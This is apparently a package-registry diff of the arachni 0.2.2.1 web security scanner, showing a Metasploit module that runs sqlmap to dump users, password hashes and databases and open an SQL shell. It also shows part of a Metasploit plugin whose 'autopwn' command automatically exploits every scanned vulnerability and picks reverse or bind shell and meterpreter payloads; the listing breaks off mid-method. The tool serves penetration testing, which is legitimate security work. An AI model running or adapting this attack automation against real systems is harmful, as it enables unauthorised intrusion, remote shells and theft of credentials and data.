arachni 0.2.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (262) hide show
  1. data/ACKNOWLEDGMENTS.md +14 -0
  2. data/AUTHORS.md +6 -0
  3. data/CHANGELOG.md +162 -0
  4. data/CONTRIBUTORS.md +10 -0
  5. data/EXPLOITATION.md +429 -0
  6. data/HACKING.md +101 -0
  7. data/LICENSE.md +341 -0
  8. data/README.md +350 -0
  9. data/Rakefile +86 -0
  10. data/bin/arachni +22 -0
  11. data/bin/arachni_web +77 -0
  12. data/bin/arachni_xmlrpc +21 -0
  13. data/bin/arachni_xmlrpcd +82 -0
  14. data/bin/arachni_xmlrpcd_monitor +74 -0
  15. data/conf/README.webui.yaml.txt +44 -0
  16. data/conf/webui.yaml +11 -0
  17. data/external/metasploit/LICENSE +24 -0
  18. data/external/metasploit/modules/exploits/unix/webapp/arachni_exec.rb +142 -0
  19. data/external/metasploit/modules/exploits/unix/webapp/arachni_path_traversal.rb +113 -0
  20. data/external/metasploit/modules/exploits/unix/webapp/arachni_php_eval.rb +150 -0
  21. data/external/metasploit/modules/exploits/unix/webapp/arachni_php_include.rb +141 -0
  22. data/external/metasploit/modules/exploits/unix/webapp/arachni_sqlmap.rb +92 -0
  23. data/external/metasploit/plugins/arachni.rb +536 -0
  24. data/getoptslong.rb +241 -0
  25. data/lib/anemone.rb +2 -0
  26. data/lib/anemone/cookie_store.rb +35 -0
  27. data/lib/anemone/core.rb +371 -0
  28. data/lib/anemone/exceptions.rb +5 -0
  29. data/lib/anemone/http.rb +144 -0
  30. data/lib/anemone/page.rb +337 -0
  31. data/lib/anemone/page_store.rb +160 -0
  32. data/lib/anemone/storage.rb +34 -0
  33. data/lib/anemone/storage/base.rb +75 -0
  34. data/lib/anemone/storage/exceptions.rb +15 -0
  35. data/lib/anemone/storage/mongodb.rb +89 -0
  36. data/lib/anemone/storage/pstore.rb +50 -0
  37. data/lib/anemone/storage/redis.rb +90 -0
  38. data/lib/anemone/storage/tokyo_cabinet.rb +57 -0
  39. data/lib/anemone/tentacle.rb +40 -0
  40. data/lib/arachni.rb +16 -0
  41. data/lib/audit_store.rb +346 -0
  42. data/lib/component_manager.rb +293 -0
  43. data/lib/component_options.rb +395 -0
  44. data/lib/exceptions.rb +76 -0
  45. data/lib/framework.rb +637 -0
  46. data/lib/http.rb +809 -0
  47. data/lib/issue.rb +302 -0
  48. data/lib/module.rb +4 -0
  49. data/lib/module/auditor.rb +455 -0
  50. data/lib/module/base.rb +188 -0
  51. data/lib/module/element_db.rb +158 -0
  52. data/lib/module/key_filler.rb +87 -0
  53. data/lib/module/manager.rb +87 -0
  54. data/lib/module/output.rb +68 -0
  55. data/lib/module/trainer.rb +240 -0
  56. data/lib/module/utilities.rb +110 -0
  57. data/lib/options.rb +547 -0
  58. data/lib/parser.rb +2 -0
  59. data/lib/parser/auditable.rb +522 -0
  60. data/lib/parser/elements.rb +296 -0
  61. data/lib/parser/page.rb +149 -0
  62. data/lib/parser/parser.rb +717 -0
  63. data/lib/plugin.rb +4 -0
  64. data/lib/plugin/base.rb +110 -0
  65. data/lib/plugin/manager.rb +162 -0
  66. data/lib/report.rb +4 -0
  67. data/lib/report/base.rb +119 -0
  68. data/lib/report/manager.rb +92 -0
  69. data/lib/rpc/xml/client/base.rb +71 -0
  70. data/lib/rpc/xml/client/dispatcher.rb +49 -0
  71. data/lib/rpc/xml/client/instance.rb +88 -0
  72. data/lib/rpc/xml/server/base.rb +90 -0
  73. data/lib/rpc/xml/server/dispatcher.rb +357 -0
  74. data/lib/rpc/xml/server/framework.rb +206 -0
  75. data/lib/rpc/xml/server/instance.rb +191 -0
  76. data/lib/rpc/xml/server/module/manager.rb +46 -0
  77. data/lib/rpc/xml/server/options.rb +124 -0
  78. data/lib/rpc/xml/server/output.rb +299 -0
  79. data/lib/rpc/xml/server/plugin/manager.rb +58 -0
  80. data/lib/ruby.rb +5 -0
  81. data/lib/ruby/object.rb +32 -0
  82. data/lib/ruby/string.rb +74 -0
  83. data/lib/ruby/xmlrpc/server.rb +27 -0
  84. data/lib/spider.rb +200 -0
  85. data/lib/typhoeus/request.rb +91 -0
  86. data/lib/typhoeus/response.rb +34 -0
  87. data/lib/ui/cli/cli.rb +744 -0
  88. data/lib/ui/cli/output.rb +279 -0
  89. data/lib/ui/web/log.rb +82 -0
  90. data/lib/ui/web/output_stream.rb +94 -0
  91. data/lib/ui/web/report_manager.rb +222 -0
  92. data/lib/ui/web/server.rb +903 -0
  93. data/lib/ui/web/server/db/placeholder +0 -0
  94. data/lib/ui/web/server/public/banner.png +0 -0
  95. data/lib/ui/web/server/public/bodybg-small.png +0 -0
  96. data/lib/ui/web/server/public/bodybg.png +0 -0
  97. data/lib/ui/web/server/public/css/smoothness/images/pbar-ani.gif +0 -0
  98. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_flat_0_aaaaaa_40x100.png +0 -0
  99. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_flat_75_ffffff_40x100.png +0 -0
  100. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_55_fbf9ee_1x400.png +0 -0
  101. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_65_ffffff_1x400.png +0 -0
  102. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_75_dadada_1x400.png +0 -0
  103. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_75_e6e6e6_1x400.png +0 -0
  104. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_95_fef1ec_1x400.png +0 -0
  105. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_highlight-soft_75_cccccc_1x100.png +0 -0
  106. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_222222_256x240.png +0 -0
  107. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_2e83ff_256x240.png +0 -0
  108. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_454545_256x240.png +0 -0
  109. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_888888_256x240.png +0 -0
  110. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_cd0a0a_256x240.png +0 -0
  111. data/lib/ui/web/server/public/css/smoothness/jquery-ui-1.8.9.custom.css +573 -0
  112. data/lib/ui/web/server/public/favicon.ico +0 -0
  113. data/lib/ui/web/server/public/footer.jpg +0 -0
  114. data/lib/ui/web/server/public/icons/error.png +0 -0
  115. data/lib/ui/web/server/public/icons/info.png +0 -0
  116. data/lib/ui/web/server/public/icons/ok.png +0 -0
  117. data/lib/ui/web/server/public/icons/status.png +0 -0
  118. data/lib/ui/web/server/public/js/jquery-1.4.4.min.js +167 -0
  119. data/lib/ui/web/server/public/js/jquery-ui-1.8.9.custom.min.js +781 -0
  120. data/lib/ui/web/server/public/logo.png +0 -0
  121. data/lib/ui/web/server/public/nav-left.jpg +0 -0
  122. data/lib/ui/web/server/public/nav-right.jpg +0 -0
  123. data/lib/ui/web/server/public/nav-selected-left.jpg +0 -0
  124. data/lib/ui/web/server/public/nav-selected-right.jpg +0 -0
  125. data/lib/ui/web/server/public/reports/placeholder +1 -0
  126. data/lib/ui/web/server/public/sidebar-bottom.jpg +0 -0
  127. data/lib/ui/web/server/public/sidebar-h4.jpg +0 -0
  128. data/lib/ui/web/server/public/sidebar-top.jpg +0 -0
  129. data/lib/ui/web/server/public/spider.png +0 -0
  130. data/lib/ui/web/server/public/style.css +604 -0
  131. data/lib/ui/web/server/tmp/placeholder +0 -0
  132. data/lib/ui/web/server/views/dispatcher.erb +85 -0
  133. data/lib/ui/web/server/views/dispatcher_error.erb +14 -0
  134. data/lib/ui/web/server/views/error.erb +1 -0
  135. data/lib/ui/web/server/views/flash.erb +18 -0
  136. data/lib/ui/web/server/views/home.erb +14 -0
  137. data/lib/ui/web/server/views/instance.erb +213 -0
  138. data/lib/ui/web/server/views/layout.erb +95 -0
  139. data/lib/ui/web/server/views/log.erb +40 -0
  140. data/lib/ui/web/server/views/modules.erb +71 -0
  141. data/lib/ui/web/server/views/options.erb +23 -0
  142. data/lib/ui/web/server/views/output_results.erb +51 -0
  143. data/lib/ui/web/server/views/plugins.erb +42 -0
  144. data/lib/ui/web/server/views/report_formats.erb +30 -0
  145. data/lib/ui/web/server/views/reports.erb +55 -0
  146. data/lib/ui/web/server/views/settings.erb +120 -0
  147. data/lib/ui/web/server/views/welcome.erb +38 -0
  148. data/lib/ui/xmlrpc/dispatcher_monitor.rb +204 -0
  149. data/lib/ui/xmlrpc/xmlrpc.rb +843 -0
  150. data/logs/placeholder +0 -0
  151. data/metamodules/autothrottle.rb +74 -0
  152. data/metamodules/timeout_notice.rb +118 -0
  153. data/metamodules/uniformity.rb +98 -0
  154. data/modules/audit/code_injection.rb +136 -0
  155. data/modules/audit/code_injection_timing.rb +115 -0
  156. data/modules/audit/code_injection_timing/payloads.txt +4 -0
  157. data/modules/audit/csrf.rb +301 -0
  158. data/modules/audit/ldapi.rb +103 -0
  159. data/modules/audit/ldapi/errors.txt +26 -0
  160. data/modules/audit/os_cmd_injection.rb +103 -0
  161. data/modules/audit/os_cmd_injection/payloads.txt +2 -0
  162. data/modules/audit/os_cmd_injection_timing.rb +104 -0
  163. data/modules/audit/os_cmd_injection_timing/payloads.txt +3 -0
  164. data/modules/audit/path_traversal.rb +141 -0
  165. data/modules/audit/response_splitting.rb +105 -0
  166. data/modules/audit/rfi.rb +193 -0
  167. data/modules/audit/sqli.rb +120 -0
  168. data/modules/audit/sqli/regexp_ids.txt +90 -0
  169. data/modules/audit/sqli_blind_rdiff.rb +321 -0
  170. data/modules/audit/sqli_blind_timing.rb +103 -0
  171. data/modules/audit/sqli_blind_timing/payloads.txt +51 -0
  172. data/modules/audit/trainer.rb +89 -0
  173. data/modules/audit/unvalidated_redirect.rb +90 -0
  174. data/modules/audit/xpath.rb +104 -0
  175. data/modules/audit/xpath/errors.txt +26 -0
  176. data/modules/audit/xss.rb +99 -0
  177. data/modules/audit/xss_event.rb +134 -0
  178. data/modules/audit/xss_path.rb +125 -0
  179. data/modules/audit/xss_script_tag.rb +112 -0
  180. data/modules/audit/xss_tag.rb +112 -0
  181. data/modules/audit/xss_uri.rb +125 -0
  182. data/modules/recon/allowed_methods.rb +104 -0
  183. data/modules/recon/backdoors.rb +131 -0
  184. data/modules/recon/backdoors/filenames.txt +16 -0
  185. data/modules/recon/backup_files.rb +177 -0
  186. data/modules/recon/backup_files/extensions.txt +28 -0
  187. data/modules/recon/common_directories.rb +138 -0
  188. data/modules/recon/common_directories/directories.txt +265 -0
  189. data/modules/recon/common_files.rb +138 -0
  190. data/modules/recon/common_files/filenames.txt +17 -0
  191. data/modules/recon/directory_listing.rb +171 -0
  192. data/modules/recon/grep/captcha.rb +62 -0
  193. data/modules/recon/grep/credit_card.rb +85 -0
  194. data/modules/recon/grep/cvs_svn_users.rb +73 -0
  195. data/modules/recon/grep/emails.rb +59 -0
  196. data/modules/recon/grep/html_objects.rb +53 -0
  197. data/modules/recon/grep/private_ip.rb +54 -0
  198. data/modules/recon/grep/ssn.rb +53 -0
  199. data/modules/recon/htaccess_limit.rb +82 -0
  200. data/modules/recon/http_put.rb +95 -0
  201. data/modules/recon/interesting_responses.rb +118 -0
  202. data/modules/recon/unencrypted_password_forms.rb +119 -0
  203. data/modules/recon/webdav.rb +126 -0
  204. data/modules/recon/xst.rb +107 -0
  205. data/path_extractors/anchors.rb +35 -0
  206. data/path_extractors/forms.rb +35 -0
  207. data/path_extractors/frames.rb +38 -0
  208. data/path_extractors/generic.rb +39 -0
  209. data/path_extractors/links.rb +35 -0
  210. data/path_extractors/meta_refresh.rb +39 -0
  211. data/path_extractors/scripts.rb +37 -0
  212. data/path_extractors/sitemap.rb +31 -0
  213. data/plugins/autologin.rb +137 -0
  214. data/plugins/content_types.rb +90 -0
  215. data/plugins/cookie_collector.rb +99 -0
  216. data/plugins/form_dicattack.rb +185 -0
  217. data/plugins/healthmap.rb +94 -0
  218. data/plugins/http_dicattack.rb +133 -0
  219. data/plugins/metamodules.rb +118 -0
  220. data/plugins/proxy.rb +248 -0
  221. data/plugins/proxy/server.rb +66 -0
  222. data/plugins/waf_detector.rb +184 -0
  223. data/profiles/comprehensive.afp +74 -0
  224. data/profiles/full.afp +75 -0
  225. data/reports/afr.rb +59 -0
  226. data/reports/ap.rb +55 -0
  227. data/reports/html.rb +179 -0
  228. data/reports/html/default.erb +967 -0
  229. data/reports/metareport.rb +139 -0
  230. data/reports/metareport/arachni_metareport.rb +174 -0
  231. data/reports/plugin_formatters/html/content_types.rb +82 -0
  232. data/reports/plugin_formatters/html/cookie_collector.rb +66 -0
  233. data/reports/plugin_formatters/html/form_dicattack.rb +54 -0
  234. data/reports/plugin_formatters/html/healthmap.rb +76 -0
  235. data/reports/plugin_formatters/html/http_dicattack.rb +54 -0
  236. data/reports/plugin_formatters/html/metaformatters/timeout_notice.rb +65 -0
  237. data/reports/plugin_formatters/html/metaformatters/uniformity.rb +71 -0
  238. data/reports/plugin_formatters/html/metamodules.rb +93 -0
  239. data/reports/plugin_formatters/html/waf_detector.rb +54 -0
  240. data/reports/plugin_formatters/stdout/content_types.rb +73 -0
  241. data/reports/plugin_formatters/stdout/cookie_collector.rb +61 -0
  242. data/reports/plugin_formatters/stdout/form_dicattack.rb +52 -0
  243. data/reports/plugin_formatters/stdout/healthmap.rb +72 -0
  244. data/reports/plugin_formatters/stdout/http_dicattack.rb +53 -0
  245. data/reports/plugin_formatters/stdout/metaformatters/timeout_notice.rb +55 -0
  246. data/reports/plugin_formatters/stdout/metaformatters/uniformity.rb +68 -0
  247. data/reports/plugin_formatters/stdout/metamodules.rb +89 -0
  248. data/reports/plugin_formatters/stdout/waf_detector.rb +48 -0
  249. data/reports/plugin_formatters/xml/content_types.rb +91 -0
  250. data/reports/plugin_formatters/xml/cookie_collector.rb +70 -0
  251. data/reports/plugin_formatters/xml/form_dicattack.rb +57 -0
  252. data/reports/plugin_formatters/xml/healthmap.rb +82 -0
  253. data/reports/plugin_formatters/xml/http_dicattack.rb +57 -0
  254. data/reports/plugin_formatters/xml/metaformatters/timeout_notice.rb +67 -0
  255. data/reports/plugin_formatters/xml/metaformatters/uniformity.rb +82 -0
  256. data/reports/plugin_formatters/xml/metamodules.rb +91 -0
  257. data/reports/plugin_formatters/xml/waf_detector.rb +58 -0
  258. data/reports/stdout.rb +182 -0
  259. data/reports/txt.rb +77 -0
  260. data/reports/xml.rb +231 -0
  261. data/reports/xml/buffer.rb +98 -0
  262. metadata +516 -0
@@ -0,0 +1,92 @@
1
+ require 'msf/core'
2
+
3
+ class Metasploit3 < Msf::Auxiliary
4
+
5
+ include Msf::Exploit::Remote::HttpClient
6
+
7
+ def initialize(info = {})
8
+ super(update_info(info,
9
+ 'Name' => 'Arachni SQLMAP SQL Injection External Module',
10
+ 'Description' => %q{
11
+
12
+ This module is designed to be used with the Arachni plug-in.
13
+
14
+ From the original:
15
+
16
+ This module launches an sqlmap session.
17
+ sqlmap is an automatic SQL injection tool developed in Python.
18
+ Its goal is to detect and take advantage of SQL injection
19
+ vulnerabilities on web applications. Once it detects one
20
+ or more SQL injections on the target host, the user can
21
+ choose among a variety of options to perform an extensive
22
+ back-end database management system fingerprint, retrieve
23
+ DBMS session user and database, enumerate users, password
24
+ hashes, privileges, databases, dump entire or user
25
+ specific DBMS tables/columns, run his own SQL SELECT
26
+ statement, read specific files on the file system and much
27
+ more.
28
+ },
29
+ 'Author' => [
30
+ 'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>', # modified to work with the Arachni plug-in
31
+ 'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>' # original module: auxiliary/scanner/http/sqlmap.rb
32
+ ],
33
+ 'License' => BSD_LICENSE,
34
+ 'Version' => '$Revision: 9212 $',
35
+ 'References' =>
36
+ [
37
+ ['URL', 'http://github.com/Zapotek/arachni'],
38
+ ['URL', 'http://sqlmap.sourceforge.net'],
39
+ ]
40
+ ))
41
+
42
+ register_options(
43
+ [
44
+ OptString.new('METHOD', [ true, "HTTP Method", 'GET' ]),
45
+ OptString.new('PATH', [ true, "The path to test for SQL injection", 'index.php' ]),
46
+ OptString.new('GET', [ false, "HTTP GET query", 'id=1' ]),
47
+ OptString.new('POST', [ false, "The data string to be sent through POST", '' ]),
48
+ OptString.new('COOKIES', [ false, "", '' ]),
49
+ OptString.new('OPTS', [ false, "The sqlmap options to use", '--users --time-test --passwords --dbs --sql-shell -v 0' ]),
50
+ OptPath.new('SQLMAP_PATH', [ true, "The sqlmap >= 0.8 full path ", 'sqlmap' ]),
51
+ ], self.class)
52
+ end
53
+
54
+ def run
55
+
56
+ sqlmap = datastore['SQLMAP_PATH']
57
+
58
+ if not sqlmap
59
+ print_error("The sqlmap script could not be found")
60
+ return
61
+ end
62
+
63
+ data = datastore['POST'].gsub( 'XXinjectionXX', '' )
64
+ method = datastore['METHOD'].upcase
65
+
66
+ sqlmap_url = (datastore['SSL'] ? "https" : "http")
67
+ sqlmap_url += "://" + datastore['RHOST'] + ":" + datastore['RPORT']
68
+ sqlmap_url += "/" + datastore['PATH']
69
+
70
+ if method == "GET"
71
+ sqlmap_url += '?' + datastore['GET'].gsub( 'XXinjectionXX', '' )
72
+ end
73
+
74
+ cmd = sqlmap + ' -u \'' + sqlmap_url + '\''
75
+ cmd += ' --method ' + method
76
+ cmd += ' ' + datastore['OPTS']
77
+ cmd += ' --cookie \'' + datastore['COOKIES'].to_s + '\'' if datastore['COOKIES']
78
+
79
+ if not data.empty?
80
+ cmd += ' --data \'' + data + '\''
81
+ end
82
+
83
+ if datastore['BATCH'] == true
84
+ cmd += ' --batch'
85
+ end
86
+
87
+ print_status("exec: #{cmd}")
88
+ system( cmd )
89
+ end
90
+
91
+ end
92
+
@@ -0,0 +1,536 @@
1
+ #
2
+ # $Id$
3
+ # $Revision$
4
+ #
5
+
6
+ require 'pp'
7
+
8
+ module Msf
9
+
10
+ class Plugin::Arachni < Msf::Plugin
11
+
12
+ ###
13
+ #
14
+ # This class implements an exploitation platform for web app vulnerabilities
15
+ # discovered by the Arachni WebApp Security Scaner Framework
16
+ # (http://github.com/Zapotek/arachni)
17
+ #
18
+ ###
19
+ class ArachniCommandDispatcher
20
+ include Msf::Ui::Console::CommandDispatcher
21
+
22
+ #
23
+ # The dispatcher's name.
24
+ #
25
+ def name
26
+ "Arachni"
27
+ end
28
+
29
+ #
30
+ # Returns the hash of commands supported by this dispatcher.
31
+ #
32
+ def commands
33
+ {
34
+ "arachni_load" => "Loads an ArachniMetareport file (.afr.msf).",
35
+ "arachni_autopwn" => "Tries to exploit all vulnerabilities.",
36
+ "arachni_list_exploits" => "Lists all matching exploit modules.",
37
+ "arachni_list_vulns" => "Lists all vulnerabilities.",
38
+ "arachni_list_all" => "Same as running 'arachni_list_exploits' & 'arachni_list_vulns'.",
39
+ "arachni_killall" => "Kills all running/pending pwn-jobs.",
40
+ "arachni_manual" => "Prepares a vulnerability for manual exploitation.",
41
+ }
42
+ end
43
+
44
+ #
45
+ # This method loads a metareport file and lists all
46
+ # exploitable vulnerabilities and suitable exploits.
47
+ #
48
+ def cmd_arachni_load( *args )
49
+
50
+ metareport = args[0]
51
+
52
+ if !metareport
53
+ print_error( "Usage: arachni_load [metareport]" )
54
+ return
55
+ end
56
+
57
+ if !File.exist?( metareport )
58
+ print_error( "File '#{metareport}' doesn't exist." )
59
+ return
60
+ end
61
+
62
+ print_status( "Loading report..." )
63
+
64
+ @vulns ||= []
65
+ @exploits ||= []
66
+ YAML.load( IO.read( metareport ) ).each do |vuln|
67
+ data = { }
68
+
69
+ vuln.ivars.keys.each do |k|
70
+ data[k.to_sym] = vuln.ivars[k]
71
+ end
72
+
73
+ begin
74
+ # the MSF doesn't much like hostnames, resolve to an IP address
75
+ # there's probably a beter way to do it...
76
+ host = Rex::Socket.gethostbyname( data[:host] ).pop
77
+ data[:host] = Rex::Socket.addr_ntoa( host )
78
+
79
+ @exploits << data[:exploit]
80
+
81
+ @vulns << data
82
+ rescue
83
+ next
84
+ end
85
+
86
+ end
87
+
88
+ @vulns.uniq!
89
+
90
+ print_status( "Loaded #{@vulns.size} vulnerabilities." )
91
+
92
+ print_line
93
+ cmd_arachni_list_exploits
94
+ cmd_arachni_list_vulns
95
+ print_line
96
+
97
+ print_status( 'Done!' )
98
+ end
99
+
100
+ #
101
+ # Exploits all vulnerabilities
102
+ #
103
+ def cmd_arachni_autopwn( *args )
104
+
105
+ opts = {
106
+ :meterpreter => false,
107
+ :reverse => false,
108
+ :bind => true,
109
+ :quiet => false,
110
+ :regexp => nil
111
+ }
112
+
113
+ args.push( "-h" ) if args.empty?
114
+
115
+ while( !args.empty? && flag = args.shift )
116
+
117
+ case flag
118
+
119
+ when '-h', '--help', '?'
120
+ help()
121
+ return
122
+
123
+ when '-r'
124
+ opts[:reverse] = true
125
+
126
+ when '-b'
127
+ opts[:bind] = true
128
+
129
+ when '-m'
130
+ opts[:meterpreter] = true
131
+
132
+ when '-q'
133
+ opts[:quiet] = true
134
+
135
+ when '-x'
136
+ opts[:regexp] = Regexp.new( args.shift.to_s )
137
+
138
+ when '-a'
139
+ opts[:regexp] = /.*/
140
+
141
+ else
142
+ print_error( 'Unknown option: ' + flag.to_s )
143
+ return
144
+ end
145
+
146
+ end
147
+
148
+ if running?
149
+ print_error( "#{@jobs.size} pwn-jobs haven't finished yet." )
150
+ print_error( 'To kill them run: \'arachni_killall\'' )
151
+ return
152
+ end
153
+
154
+
155
+ if !@vulns
156
+ print_error( 'You must first load a report using \'arachni_load\'.' )
157
+ return
158
+ end
159
+
160
+ if @vulns.empty?
161
+ print_error( 'No vulnerabilities to exploit.' )
162
+ end
163
+
164
+ print_status( 'Running pwn-jobs...' )
165
+ print_line
166
+
167
+ @jobs ||= []
168
+ @vulns.each do |vuln|
169
+
170
+ next if opts[:regexp] && !(vuln[:exploit] =~ opts[:regexp])
171
+
172
+ @jobs << Thread.new( vuln, opts ) do |vulnerability, opts|
173
+ exploit( vulnerability, opts )
174
+ end
175
+ end
176
+
177
+ # Wait on all the jobs we just spawned
178
+ while( !@jobs.empty? )
179
+ # All running jobs are stored in framework.jobs. If it's
180
+ # not in this list, it must have completed.
181
+ @jobs.delete_if { |j| !j.alive? }
182
+
183
+ print_status( "[#{framework.sessions.length} established sessions]):" +
184
+ " Waiting on #{@jobs.length} launched modules to finish execution..." )
185
+ ::IO.select( nil, nil, nil, 5.0 )
186
+ end
187
+
188
+ print_line
189
+ print_status( "The autopwn command has completed with #{framework.sessions.length} sessions" )
190
+ if( framework.sessions.length > 0 )
191
+ print_status( "Enter sessions -i [ID] to interact with a given session ID" )
192
+ print_status( "" )
193
+ print_status( "=" * 80 )
194
+ driver.run_single( "sessions -l -v" )
195
+ print_status( "=" * 80 )
196
+ end
197
+
198
+ end
199
+
200
+ #
201
+ # Decides whether or not any pwn-jobs are running
202
+ #
203
+ def running?
204
+ return @jobs && !@jobs.empty?
205
+ end
206
+
207
+ #
208
+ # Kills all pwn-jobs
209
+ #
210
+ def cmd_arachni_killall
211
+
212
+ if !@jobs
213
+ print_error( "The pwn-job queue hasn't been initialised yet." )
214
+ return
215
+ end
216
+
217
+ if @jobs.empty?
218
+ print_info( "The pwn-job queue is empty." )
219
+ return
220
+ end
221
+
222
+ cnt = 0
223
+ @jobs.each do |j|
224
+ cnt +=1 if Thread.kill( j )
225
+ end
226
+
227
+ @jobs.clear
228
+ print_status( "Killed #{cnt} pwn-jobs." )
229
+
230
+ end
231
+
232
+ #
233
+ # Lists suitable exploits and vulnerabilities
234
+ #
235
+ def cmd_arachni_list_all
236
+ cmd_arachni_list_exploits
237
+ cmd_arachni_list_vulns
238
+ end
239
+
240
+ #
241
+ # Lists all vulnerabilities
242
+ #
243
+ def cmd_arachni_list_vulns
244
+
245
+ if !@vulns
246
+ print_error( 'You must first load a report using \'arachni_load\'.' )
247
+ return
248
+ end
249
+
250
+ if @vulns.empty?
251
+ print_error( 'No vulnerabilities to list.' )
252
+ end
253
+
254
+ @vulns.uniq!
255
+
256
+ vuln_table = Rex::Ui::Text::Table.new(
257
+ 'Header' => "Vulnerabilities",
258
+ 'Indent' => 4,
259
+ 'Columns' => [
260
+ "ID",
261
+ "Host",
262
+ "Path",
263
+ "Name",
264
+ "Method",
265
+ "Params",
266
+ "Exploit"
267
+ ]
268
+ )
269
+
270
+ indent = ""
271
+ @vulns.each_with_index do |vuln, idx|
272
+
273
+ vuln_table << [ idx + 1, vuln[:host], vuln[:path], vuln[:name],
274
+ vuln[:method], vuln[:params].to_s, vuln[:exploit] ]
275
+
276
+ end
277
+
278
+ print_line( "\n#{vuln_table.to_s}\n" )
279
+
280
+ end
281
+
282
+ #
283
+ # Prepares a vulnerability for manual exploitation by ID
284
+ #
285
+ def cmd_arachni_manual( *args )
286
+ idx = args[0]
287
+
288
+ if !idx
289
+ print_error( 'Usage: arachni_manual [ID]' )
290
+ print_line( 'Use \'arachni_vulns\' to see all available IDs.' )
291
+ return
292
+ end
293
+ idx = idx.to_i
294
+ idx -= 1
295
+
296
+ if !@vulns
297
+ print_error( 'You must first load a report using \'arachni_load\'.' )
298
+ return
299
+ end
300
+
301
+ if @vulns.empty?
302
+ print_error( 'No vulnerabilities to exploit.' )
303
+ end
304
+
305
+ vuln = @vulns[idx]
306
+
307
+ if !vuln
308
+ print_error( "Invalid index: #{idx}" )
309
+ cmd_arachni_list_vulns
310
+ return
311
+ end
312
+
313
+
314
+ print_status( "Using #{vuln[:exploit]} ." )
315
+ driver.run_single( "use #{vuln[:exploit]}" )
316
+
317
+ prep_datastore( vuln ).each do |k, v|
318
+ v = '' if !v
319
+ driver.run_single( "set #{k} #{v}" )
320
+ end
321
+
322
+ print_status( "Done!" )
323
+
324
+ begin
325
+
326
+ sploit = framework.modules.create( vuln[:exploit] )
327
+ driver.run_single( "set PAYLOAD #{payload( sploit, vuln )}" )
328
+
329
+
330
+ payload_table = Rex::Ui::Text::Table.new(
331
+ 'Header' => "Compatible payloads",
332
+ 'Indent' => 4,
333
+ 'Columns' => [ "Name", "Description" ]
334
+ )
335
+
336
+ sploit.compatible_payloads.each do |payload|
337
+ payload_table << [ payload[0], payload[1].new.description ]
338
+ end
339
+ rescue
340
+ print_line( "\n#{payload_table.to_s}\n" )
341
+ print_line( "Use: set PAYLOAD <name>" )
342
+ end
343
+
344
+ end
345
+
346
+ #
347
+ # Lists all suitable exploits
348
+ #
349
+ def cmd_arachni_list_exploits
350
+
351
+ if !@exploits
352
+ print_error( 'You must first load a report using \'arachni_load\'.' )
353
+ return
354
+ end
355
+
356
+ if @exploits.empty?
357
+ print_error( 'No exploits to list.' )
358
+ end
359
+
360
+ @exploits.uniq!
361
+
362
+ exploit_table = Rex::Ui::Text::Table.new(
363
+ 'Header' => "Unique exploits",
364
+ 'Indent' => 4,
365
+ 'Columns' => [
366
+ "ID", "Exploit", "Description"
367
+ ]
368
+ )
369
+
370
+ @exploits.each_with_index do |ex, idx|
371
+ desc = framework.modules.create( ex ).description
372
+ exploit_table << [idx + 1, ex, desc ]
373
+ end
374
+
375
+ print_line( "\n#{exploit_table.to_s}\n" )
376
+
377
+ end
378
+
379
+ def help
380
+ print_status("Usage: arachni_autopwn [options]")
381
+ print_line("\t-h Display this help text")
382
+ print_line("\t-x [regexp] Only run modules whose name matches the regex")
383
+ print_line("\t-a Launch exploits against all matched targets")
384
+ # print_line("\t-s Stop on first shell")
385
+ print_line("\t-r Use a reverse connect shell")
386
+ print_line("\t-b Use a bind shell on a random port (default)")
387
+ print_line("\t-m Use a meterpreter shell (if possible)")
388
+ print_line("\t-q Disable exploit module output")
389
+ print_line("")
390
+ end
391
+
392
+ #
393
+ # Exploits a vulnerability based on user opts
394
+ #
395
+ def exploit( vuln, opts )
396
+
397
+ sploit = framework.modules.create( vuln[:exploit] )
398
+
399
+ print_status( "Running #{sploit.fullname}" )
400
+
401
+ sploit.datastore.merge!( prep_datastore( vuln ) )
402
+
403
+ sploit.exploit_simple(
404
+ 'Payload' => payload( sploit, opts ),
405
+ 'LocalInput' => opts[:quiet] ? nil : driver.input,
406
+ 'LocalOutput' => opts[:quiet] ? nil : driver.output,
407
+ 'RunAsJob' => false
408
+ )
409
+
410
+ end
411
+
412
+ #
413
+ # Determines the most suitable payload for an exploit based on user opts
414
+ #
415
+ def payload( sploit, opts )
416
+
417
+ # choose best payloads for a reverse shells
418
+ if opts[:reverse]
419
+
420
+ # choose best payloads for a reverse meterpreter shell
421
+ if opts[:meterpreter]
422
+ payloads = {
423
+ 'exploit/unix/webapp/arachni_php_include' => 'php/meterpreter/reverse_tcp',
424
+ # arachni_exec doesn't have a compatiblem meterpreter shell...
425
+ 'exploit/unix/webapp/arachni_exec' => 'cmd/unix/reverse_perl',
426
+ 'exploit/unix/webapp/arachni_php_eval' => 'php/meterpreter/reverse_tcp',
427
+ }
428
+ # choose best payloads for a standard reverse shell
429
+ else
430
+ payloads = {
431
+ 'exploit/unix/webapp/arachni_php_include' => 'generic/shell_reverse_tcp',
432
+ 'exploit/unix/webapp/arachni_exec' => 'cmd/unix/reverse_perl',
433
+ 'exploit/unix/webapp/arachni_php_eval' => 'generic/shell_reverse_tcp',
434
+ }
435
+ end
436
+
437
+ # choose best payloads for a bind shell (default)
438
+ else
439
+ # choose best payloads for a bind meterpreter shell
440
+ if opts[:meterpreter]
441
+ payloads = {
442
+ 'exploit/unix/webapp/arachni_php_include' => 'php/meterpreter/bind_tcp',
443
+ 'exploit/unix/webapp/arachni_exec' => 'cmd/unix/reverse_perl',
444
+ 'exploit/unix/webapp/arachni_php_eval' => 'php/meterpreter/bind_tcp',
445
+ }
446
